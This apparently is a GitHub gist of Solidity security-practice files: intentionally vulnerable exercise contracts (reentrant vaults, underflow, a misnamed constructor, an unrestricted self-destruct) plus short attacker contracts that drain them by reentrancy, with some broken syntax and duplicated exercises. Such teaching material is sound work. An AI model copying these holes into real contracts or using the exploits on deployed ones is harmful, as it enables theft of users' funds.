Skip to content

Instantly share code, notes, and snippets.

@ottodevs
Created October 23, 2019 08:13
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ottodevs/bfc1aac9cc30534942142a07d624a380 to your computer and use it in GitHub Desktop.
Save ottodevs/bfc1aac9cc30534942142a07d624a380 to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.4.26+commit.4563c3fc.js&optimize=false&gist=
contract Vault {
mapping(address => uint) public balances;
/// @dev Store ETH in the contract.
function store() payable {
balances[msg.sender]+=msg.value;
}
/// @dev Redeem your ETH.
function redeem() {
msg.sender.call.value(balances[msg.sender])();
balances[msg.sender]=0;
}
}
contract Attacker {
Vault v;
uint public count;
event LogFallback(uint count, uint balance);
function Attacker(address victim) payable {
v = Vault(victim);
}
function attack() {
v.redeem();
}
function () payable {
attack()
}
}
pragma solidity ^0.4.8;
/////
// This contract will associate any Entity/Account to attributes (small pieces of data)
//
///
contract Attributes {
struct Attribute {
string _name;
string _value;
address _owner;
uint256 document; //TODO Generalize for more than one Doc
bytes32 validation; //TODO Generalize for more than one Validation
}
struct Document {
uint8 hostType; // Choose for your own type of storage (e.g. IPFS/SWARM)
string link; // Link of the selected storage
bytes32 hashProof; // Signature
}
struct Validation {
uint timestamp;
address by;
}
// number of elements in the mapping
uint public _numAttributes;
uint public _numDocuments;
uint public _numValidations;
// id => ...
mapping (uint256 => Attribute) _attributes; // Link between attribute ID and its struct
mapping (uint256 => Document) public _documents;
mapping (uint256 => Validation) public _validations;
//
// Adds a new attribute linked to a user
// @param name Name of the attribute
// @param value Value of the attribute
// By using as an index the keccak hash of the sender and name inside the contract, we restrict only to owners to change its data
function add(string name, string value) returns (uint) {
uint256 index= getIndex(name);
_attributes[index]._name = name;
_attributes[index]._value = value;
_numAttributes++;
return uint256(index);
}
// Registers a document
// @param hostType Where is the document stored (see Document struct)
// @param link Link to the document
// @param signedProof Signed hash of the document
function uploadDocument(uint8 hostType, string link, bytes32 signedProof) returns(uint32) {
_documents[uint256(sha3(link))].hostType = hostType;
_documents[uint256(sha3(link))].link = link;
_documents[uint256(sha3(link))].hashProof = signedProof;
_numDocuments++;
}
// Attaches a document to an attribute
// @param attribute_id ID of the attribute
// @param document_id ID of the document
// TODO: Make sure that both ids are in range
// TODO: Make sure that the documment is not already attached to this attributes
// TODO: Permission layer (Controller): Only autorized parties can execute this action
function attach(uint256 attribute_id, uint256 document_id){
_attributes[attribute_id].document = document_id;
}
// Creates a relationship in which an authorized party validates a user's attribute
// @param attributeId ID of the attribute
// @param documentId ID of the document that is being used to validate the attribute
// @param proof Hash of the document
// TODO: Generalize to more than one validators
///
function validate(uint256 attributeId, uint256 documentId, bytes32 proof){
_attributes[attributeId].validation= proof;
}
///// GETTERs /////
/////
// Index for Attributes. Uses a keccak hash of the msg sender and the name of the attribute. This way, we ensure:
// 1: Self sovereign data (only you can upload your data)
// 2: Unique attribute names
// @param: _name: Name of the attribute you want to upload to the blockchain
///
function getIndex(string _name) constant returns (uint256){
return uint256(sha3(msg.sender,_name));
}
/////
// Index for Attributes. Uses a keccak hash of the msg sender and the name of the attribute. This way, we ensure:
// 1: Self sovereign data (only you can upload your data)
// 2: Unique attribute names
// @param: _name: Name of the attribute you want to upload to the blockchain
///
function getDocumentIndex(string link) constant returns (uint256){
return uint(sha3(link));
}
/////
// Gets the already attached document's attribute
// @param attributeId Id of the attribute consistent with the getIndex method
///
function getDocumentFromAttribute(uint256 attributeId) constant returns (uint256) {
return _attributes[attributeId].document;
}
/////
// Gets a Document given an external link
//
///
function getDocumentFromLink(string link) constant returns (string) {
return _documents[uint(sha3(link))].link;
}
/////
// Gets a Document given an external link
//
///
function getDocumentValue(uint256 documentId) constant returns (string) {
return _documents[documentId].link;
}
function getAttributeValue(uint256 attributeId) constant returns (string) {
return _attributes[attributeId]._value;
}
function getNumAttributes() returns (uint256){
return _numAttributes;
}
/////
// To get the validation associated to an attribute
///
function getValidationFromAttribute(uint256 attributeId) constant returns (bytes32) {
return _attributes[attributeId].validation;
}
}
pragma solidity ^0.4.8;
import "./Reentrance.sol";
contract Collector {
Reentrance public reentrance;
function Collector (address _reentrance) {
reentrance = Reentrance(_reentrance);
}
function kill () {
suicide(msg.sender);
}
function collect() payable public {
reentrance.donate.value(msg.value)(address(this));
reentrance.withdraw(msg.value);
}
function () payable {
if (reentrance.balance >= msg.value) {
reentrance.withdraw(msg.value);
}
}
}
pragma solidity ^0.4.11;
contract Counter {
/* define variable count of the type uint */
uint count = 0;
/* this runs when the contract is executed */
function increment() public {
count = count + 1;
}
/* used to read the value of count */
function getCount() public constant returns (uint) {
return count;
}
}
pragma solidity ^0.4.11;
import "./Ownable.sol";
/**
* @title Destructible
* @dev Base contract that can be destroyed by owner. All funds in contract will be sent to the owner.
*/
contract Destructible is Ownable {
function Destructible() public { }
/**
* @dev Transfers the current balance to the owner and terminates the contract.
*/
function destroy() public {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) public {
selfdestruct(_recipient);
}
function() payable {
}
}
pragma solidity ^0.4.10;
//*** Exercice 1 ***//
// Simple token you can buy and send.
contract SimpleToken{
mapping(address => uint) public balances;
/// @dev Buy token at the price of 1ETH/token.
function buyToken() payable {
// 0.0001 / 1000
balances[msg.sender]+=msg.value / 1 ether;
}
/** @dev Send token.
* @param _recipient The recipient.
* @param _amount The amount to send.
*/
function sendToken(address _recipient, uint _amount) {
require(balances[msg.sender]>=_amount); // You must have some tokens.
balances[msg.sender]-=_amount;
balances[_recipient]+=_amount;
}
}
//*** Exercice 11 ***//
// You can store ETH in this contract and redeem them.
contract VaultInvariant {
mapping(address => uint) public balances;
uint totalBalance;
/// @dev Store ETH in the contract.
function store() payable {
balances[msg.sender]+=msg.value;
totalBalance+=msg.value;
}
/// @dev Redeem your ETH.
function redeem() {
uint toTranfer = balances[msg.sender];
msg.sender.transfer(toTranfer);
balances[msg.sender]=0;
totalBalance-=toTranfer;
}
/// @dev Let a user get all funds if an invariant is broken.
function invariantBroken() {
require(totalBalance!=this.balance);
msg.sender.transfer(this.balance);
}
}
contract Poison {
VaultInvariant v;
function Poison(address victim) {
v = VaultInvariant(victim);
}
function attack() payable {
v.transfer(msg.value)
v.redeem();
}
function() {
revert();
}
}
// You can vote for the value of your choice.
contract VoteTwoChoices{
mapping(address => uint) public votingRights;
mapping(address => uint) public votesCast;
mapping(bytes32 => uint) public votesReceived;
/// @dev Get 1 voting right per ETH sent.
function buyVotingRights() payable {
votingRights[msg.sender]+=msg.value/(1 ether);
}
/** @dev Vote with nbVotes for a proposition.
* @param _nbVotes The number of votes to cast.
* @param _proposition The proposition to vote for.
*/
function vote(uint _nbVotes, bytes32 _proposition) {
require(_nbVotes + votesCast[msg.sender]<=votingRights[msg.sender]); // Check you have enough voting rights.
votesCast[msg.sender]+=_nbVotes;
votesReceived[_proposition]+=_nbVotes;
}
}
//*** Exercice 3 ***//
// You can buy tokens.
// The owner can set the price.
contract BuyToken {
mapping(address => uint) public balances;
uint public price=1;
address public owner=msg.sender;
/** @dev Buy tokens.
* @param _amount The amount to buy.
* @param _price The price to buy those in ETH.
*/
function buyToken(uint _amount, uint _price) payable {
require(_price>=price); // The price is at least the current price.
require(_price * _amount * 1 ether <= msg.value); // You have paid at least the total price.
balances[msg.sender]+=_amount;
}
/** @dev Set the price, only the owner can do it.
* @param _price The new price.
*/
function setPrice(uint _price) {
require(msg.sender==owner);
price=_price;
}
}
//*** Exercice 7 ***//
// You can buy some object.
// Further purchases are discounted.
// You need to pay basePrice / (1 + objectBought), where objectBought is the number of object you previously bought.
contract DiscountedBuy {
uint public basePrice = 1 ether;
mapping (address => uint) public objectBought;
/// @dev Buy an object.
function buy() payable {
require(msg.value * (1 + objectBought[msg.sender]) == basePrice);
objectBought[msg.sender]+=1;
}
/** @dev Return the price you'll need to pay.
* @return price The amount you need to pay in wei.
*/
function price() constant returns(uint price) {
return basePrice/(1 + objectBought[msg.sender]);
}
}
//*** Exercice 8 ***//
// You choose Head or Tail and send 1 ETH.
// The next party send 1 ETH and try to guess what you chose.
// If it succeed it gets 2 ETH, else you get 2 ETH.
contract HeadOrTail {
bool public chosen; // True if head/tail has been chosen.
bool lastChoiceHead; // True if the choice is head.
address public lastParty; // The last party who chose.
/** @dev Must be sent 1 ETH.
* Choose head or tail to be guessed by the other player.
* @param _chooseHead True if head was chosen, false if tail was chosen.
*/
function choose(bool _chooseHead) payable {
require(!chosen);
require(msg.value == 1 ether);
chosen=true;
lastChoiceHead=_chooseHead;
lastParty=msg.sender;
}
function guess(bool _guessHead) payable {
require(chosen);
require(msg.value == 1 ether);
if (_guessHead == lastChoiceHead)
msg.sender.transfer(2 ether);
else
lastParty.transfer(2 ether);
chosen=false;
}
}
pragma solidity ^0.4.11;
import './Ownable.sol';
contract Fallout is Ownable {
mapping (address => uint) allocations;
/* constructor */
function Fal1out() payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
function allocate() public payable {
allocations[msg.sender] += msg.value;
}
function sendAllocation(address allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(this.balance);
}
function allocatorBalance(address allocator) public constant returns (uint) {
return allocations[allocator];
}
}
pragma solidity ^0.4.11;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
pragma solidity 0.4.20;
contract Adoption {
mapping(address => uint) adoptersBalance;
// Adopting a pet
function invertir(address petId) public payable returns (address) {
adoptersBalance[petId] = msg.value;
return petId;
}
function getBalance(address petId) public view returns (uint) {
return adoptersBalance[petId];
}
}
pragma solidity ^0.4.11;
contract Reentrance {
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] += msg.value;
}
function balanceOf(address _who) public constant returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
function() payable {}
}
pragma solidity 0.4.9;
contract Byzantium {
function hello() public constant returns (string) {
require(block.number < 4900000)
return "Hello";
}
}
const myFunc = () => {
console.log("something")
}
pragma solidity ^0.4.20;
contract MyToken {
/* This creates an array with all balances */
mapping (address => uint256) public balanceOf;
/* Initializes contract with initial supply tokens to the creator of the contract */
function MyToken(
uint256 initialSupply
) public {
balanceOf[msg.sender] = initialSupply; // Give the creator all initial tokens
}
/* Send coins */
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
require(balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows
balanceOf[msg.sender] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
return true;
}
}
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
/* This program is free software. It comes without any warranty, to
the extent permitted by applicable law. You can redistribute it
and/or modify it under the terms of the Do What The Fuck You Want
To Public License, Version 2, as published by Sam Hocevar. See
http://www.wtfpl.net/ for more details. */
/* These contracts are examples of contracts with vulnerabilities in order to practice your hacking skills.
DO NOT USE THEM OR GET INSPIRATION FROM THEM TO MAKE CODE USED IN PRODUCTION */
pragma solidity ^0.4.10;
//*** Exercice 1 ***//
// Simple token you can buy and send.
contract SimpleToken{
mapping(address => uint) public balances;
/// @dev Buy token at the price of 1ETH/token.
function buyToken() payable {
// 0.0001 / 1000
balances[msg.sender]+=msg.value / 1 ether;
}
/** @dev Send token.
* @param _recipient The recipient.
* @param _amount The amount to send.
*/
function sendToken(address _recipient, uint _amount) {
require(balances[msg.sender]!=0); // You must have some tokens.
balances[msg.sender]-=_amount;
balances[_recipient]+=_amount;
}
}
//*** Exercice 2 ***//
// You can buy voting rights by sending ether to the contract.
// You can vote for the value of your choice.
contract VoteTwoChoices{
mapping(address => uint) public votingRights;
mapping(address => uint) public votesCast;
mapping(bytes32 => uint) public votesReceived;
/// @dev Get 1 voting right per ETH sent.
function buyVotingRights() payable {
votingRights[msg.sender]+=msg.value/(1 ether);
}
/** @dev Vote with nbVotes for a proposition.
* @param _nbVotes The number of votes to cast.
* @param _proposition The proposition to vote for.
*/
function vote(uint _nbVotes, bytes32 _proposition) {
require(_nbVotes + votesCast[msg.sender]<=votingRights[msg.sender]); // Check you have enough voting rights.
votesCast[msg.sender]+=_nbVotes;
votesReceived[_proposition]+=_nbVotes;
}
}
//*** Exercice 3 ***//
// You can buy tokens.
// The owner can set the price.
contract BuyToken {
mapping(address => uint) public balances;
uint public price=1;
address public owner=msg.sender;
/** @dev Buy tokens.
* @param _amount The amount to buy.
* @param _price The price to buy those in ETH.
*/
function buyToken(uint _amount, uint _price) payable {
require(_price>=price); // The price is at least the current price.
require(_price * _amount * 1 ether <= msg.value); // You have paid at least the total price.
balances[msg.sender]+=_amount;
}
/** @dev Set the price, only the owner can do it.
* @param _price The new price.
*/
function setPrice(uint _price) {
require(msg.sender==owner);
price=_price;
}
}
//*** Exercice 4 ***//
// Contract to store and redeem money.
contract Store {
struct Safe {
address owner;
uint amount;
}
Safe[] public safes;
/// @dev Store some ETH.
function store() payable {
safes.push(Safe({owner: msg.sender, amount: msg.value}));
}
/// @dev Take back all the amount stored.
function take() {
for (uint i; i<safes.length; ++i) {
Safe safe = safes[i];
if (safe.owner==msg.sender && safe.amount!=0) {
msg.sender.transfer(safe.amount);
safe.amount=0;
}
}
}
}
//*** Exercice 5 ***//
// Count the total contribution of each user.
// Assume that the one creating the contract contributed 1ETH.
contract CountContribution{
mapping(address => uint) public contribution;
uint public totalContributions;
address owner=msg.sender;
/// @dev Constructor, count a contribution of 1 ETH to the creator.
function CountContribution() public {
recordContribution(owner, 1 ether);
}
/// @dev Contribute and record the contribution.
function contribute() public payable {
recordContribution(msg.sender, msg.value);
}
/** @dev Record a contribution. To be called by CountContribution and contribute.
* @param _user The user who contributed.
* @param _amount The amount of the contribution.
*/
function recordContribution(address _user, uint _amount) internal {
contribution[_user]+=_amount;
totalContributions+=_amount;
}
}
//*** Exercice 6 ***//
contract Token {
mapping(address => uint) public balances;
/// @dev Buy token at the price of 1ETH/token.
function buyToken() payable {
balances[msg.sender]+=msg.value / 1 ether;
}
/** @dev Send token.
* @param _recipient The recipient.
* @param _amount The amount to send.
*/
function sendToken(address _recipient, uint _amount) {
require(balances[msg.sender]>=_amount); // You must have some tokens.
balances[msg.sender]-=_amount;
balances[_recipient]+=_amount;
}
/** @dev Send all tokens.
* @param _recipient The recipient.
*/
function sendAllTokens(address _recipient) {
balances[_recipient]=+balances[msg.sender];
balances[msg.sender]=0;
}
}
//*** Exercice 7 ***//
// You can buy some object.
// Further purchases are discounted.
// You need to pay basePrice / (1 + objectBought), where objectBought is the number of object you previously bought.
contract DiscountedBuy {
uint public basePrice = 1 ether;
mapping (address => uint) public objectBought;
/// @dev Buy an object.
function buy() payable {
require(msg.value * (1 + objectBought[msg.sender]) == basePrice);
objectBought[msg.sender]+=1;
}
/** @dev Return the price you'll need to pay.
* @return price The amount you need to pay in wei.
*/
function price() constant returns(uint price) {
return basePrice/(1 + objectBought[msg.sender]);
}
}
//*** Exercice 8 ***//
// You choose Head or Tail and send 1 ETH.
// The next party send 1 ETH and try to guess what you chose.
// If it succeed it gets 2 ETH, else you get 2 ETH.
contract HeadOrTail {
bool public chosen; // True if head/tail has been chosen.
bool lastChoiceHead; // True if the choice is head.
address public lastParty; // The last party who chose.
/** @dev Must be sent 1 ETH.
* Choose head or tail to be guessed by the other player.
* @param _chooseHead True if head was chosen, false if tail was chosen.
*/
function choose(bool _chooseHead) payable {
require(!chosen);
require(msg.value == 1 ether);
chosen=true;
lastChoiceHead=_chooseHead;
lastParty=msg.sender;
}
function guess(bool _guessHead) payable {
require(chosen);
require(msg.value == 1 ether);
if (_guessHead == lastChoiceHead)
msg.sender.transfer(2 ether);
else
lastParty.transfer(2 ether);
chosen=false;
}
}
//*** Exercice 9 ***//
// You can store ETH in this contract and redeem them.
contract Vault {
mapping(address => uint) public balances;
/// @dev Store ETH in the contract.
function store() payable {
balances[msg.sender]+=msg.value;
}
/// @dev Redeem your ETH.
function redeem() {
msg.sender.call.value(balances[msg.sender])();
balances[msg.sender]=0;
}
}
//*** Exercice 10 ***//
// You choose Head or Tail and send 1 ETH.
// The next party send 1 ETH and try to guess what you chose.
// If it succeed it gets 2 ETH, else you get 2 ETH.
contract HeadTail {
address public partyA;
address public partyB;
bytes32 public commitmentA;
bool public chooseHeadB;
uint public timeB;
/** @dev Constructor, commit head or tail.
* @param _commitmentA is keccak256(chooseHead,randomNumber);
*/
function HeadTail(bytes32 _commitmentA) payable {
require(msg.value == 1 ether);
commitmentA=_commitmentA;
partyA=msg.sender;
}
/** @dev Guess the choice of party A.
* @param _chooseHead True if the guess is head, false otherwize.
*/
function guess(bool _chooseHead) payable {
require(msg.value == 1 ether);
chooseHeadB=_chooseHead;
timeB=now;
partyB=msg.sender;
}
/** @dev Reveal the commited value and send ETH to the winner.
* @param _chooseHead True if head was chosen.
* @param _randomNumber The random number chosen to obfuscate the commitment.
*/
function resolve(bool _chooseHead, uint _randomNumber) {
require(msg.sender == partyA);
require(keccak256(_chooseHead, _randomNumber) == commitmentA);
require(this.balance >= 2 ether);
if (_chooseHead == chooseHeadB)
partyB.transfer(2 ether);
else
partyA.transfer(2 ether);
}
/** @dev Time out party A if it takes more than 1 day to reveal.
* Send ETH to party B.
* */
function timeOut() {
require(now > timeB + 1 days);
require(this.balance>=2 ether);
partyB.transfer(2 ether);
}
}
//*** Exercice 11 ***//
// You can store ETH in this contract and redeem them.
contract VaultInvariant {
mapping(address => uint) public balances;
uint totalBalance;
/// @dev Store ETH in the contract.
function store() payable {
balances[msg.sender]+=msg.value;
totalBalance+=msg.value;
}
/// @dev Redeem your ETH.
function redeem() {
uint toTranfer = balances[msg.sender];
msg.sender.transfer(toTranfer);
balances[msg.sender]=0;
totalBalance-=toTranfer;
}
/// @dev Let a user get all funds if an invariant is broken.
function invariantBroken() {
require(totalBalance!=this.balance);
msg.sender.transfer(this.balance);
}
}
//*** Exercice 9 ***//
// You can store ETH in this contract and redeem them.
contract Vault {
mapping(address => uint) public balances;
/// @dev Store ETH in the contract.
function store() payable {
balances[msg.sender]+=msg.value;
}
/// @dev Redeem your ETH.
function redeem() {
msg.sender.call.value(balances[msg.sender])();
balances[msg.sender]=0;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment